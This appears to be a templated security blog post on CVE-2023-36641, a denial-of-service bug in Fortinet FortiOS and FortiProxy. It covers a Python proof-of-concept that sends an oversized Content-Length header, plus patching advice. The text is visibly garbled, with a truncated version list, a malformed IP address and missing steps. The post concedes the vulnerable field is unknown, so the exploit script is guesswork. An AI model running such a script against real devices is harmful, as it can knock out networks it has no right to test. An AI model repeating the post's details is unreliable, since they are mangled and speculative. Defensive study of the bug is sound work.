Last updated: June 2024
Author: [Your Name]


Fortinet’s products power thousands of enterprise and government networks worldwide. When vulnerabilities hit their software, it’s serious business. One of the recent bugs, CVE-2023-36641, affects multiple versions of FortiProxy and FortiOS — opening the doors for attackers to disrupt your network with a simple denial of service (DoS) attack.

Let’s take a detailed, but beginner-friendly, look at what was found, how it works, and how a hacker could use it against you. I’ll include clear code snippets, practical explanations, and links to official advisories and technical references.

What is CVE-2023-36641?

This is a numeric truncation error vulnerability in the HTTP handling code of several Fortinet firewall products, including:

All versions of 6.4, 6.2, 6.

The problem? When a specially crafted HTTP request is sent to the device, internal values get mishandled due to a numeric overflow — causing a crash or hang. This is a classic Denial of Service (DoS) vector.

Technical Explanation in Simple Terms

You probably know computers use different “sizes” of numbers (8-bit, 16-bit, 32-bit, etc). A truncation error happens when a big number is squashed into a smaller variable type, cutting off valuable data — and causing unpredictable results.

On these Fortinet systems, certain HTTP headers or request fields aren't properly checked before passing them to the next processing function. If you make the value too large for what it expects (for example, sending a 32-bit number to a field that only takes 8 bits), the result wraps or truncates — making the program misbehave.

Slow down or hang network access

- Potentially bypass/reduce security function during the crash

An attacker could script these requests to keep your system offline for as long as desired — a persistent DoS attack.

Figures out you’re running a vulnerable service on a public IP (e.g., using Shodan or scanning).

2. Sends a specifically signed HTTP request with a gigantic or malformed value in a header or URL parameter.
3. The firewall/proxy fails to handle the oversized value, triggers numeric truncation, and crashes or reboots.

While the exact field(s) affected is not public (to prevent immediate exploitation), it’s commonly in the HTTP protocol’s numeric headers (like Content-Length).

Example Exploit Code (for Educational Use Only!)

Below is a *proof-of-concept* using Python. This demonstrates *how an overly large value in an HTTP request* can trigger failures:

import socket

TARGET_IP = "192..2.1"  # change to Fortinet device IP
TARGET_PORT = 80         # or use 443 with HTTPS library

# Craft HTTP request with huge Content-Length (triggers numeric overflow)
http_payload = (
    "GET / HTTP/1.1\r\n"
    "Host: vulnerable-device\r\n"
    "Content-Length: 9223372036854775807\r\n"  # 64-bit max integer
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((TARGET_IP, TARGET_PORT))
    s.sendall(http_payload.encode())
    response = s.recv(1024)
    print("Response:", response.decode())

> Note: This is for demonstration only. DO NOT run this against networks you don't own. Testing against production environments is a violation of acceptable use and may be illegal.

If you use any *FortiOS* or *FortiProxy* versions listed above

- You have remote access (HTTP/HTTPS management interface or proxy service) exposed publicly or to untrusted networks

Check your versions NOW

# On FortiOS CLI
get system status

Fortinet Security Advisory:

FG-IR-23-193: FortiOS & FortiProxy - Numeric truncation error vulnerability

NIST National Vulnerability Database:

CVE-2023-36641 Detail

Mitre CVE Details:

MITRE CVE-2023-36641

Mitigation & Patch

Fix?
Update to the latest FortiProxy and FortiOS versions. Fortinet has released patches for all actively supported branches.

Update firmware

4. Restrict HTTP/HTTPS management to trusted IPs only

Stay secure. Always patch and reduce attack surface!

*For more technical deep-dives, follow [Your Blog/Handle]. If you have questions or want help auditing your Fortinet gear, let’s connect!*

Timeline

Published on: 11/14/2023 18:15:49 UTC
Last modified on: 11/20/2023 19:59:59 UTC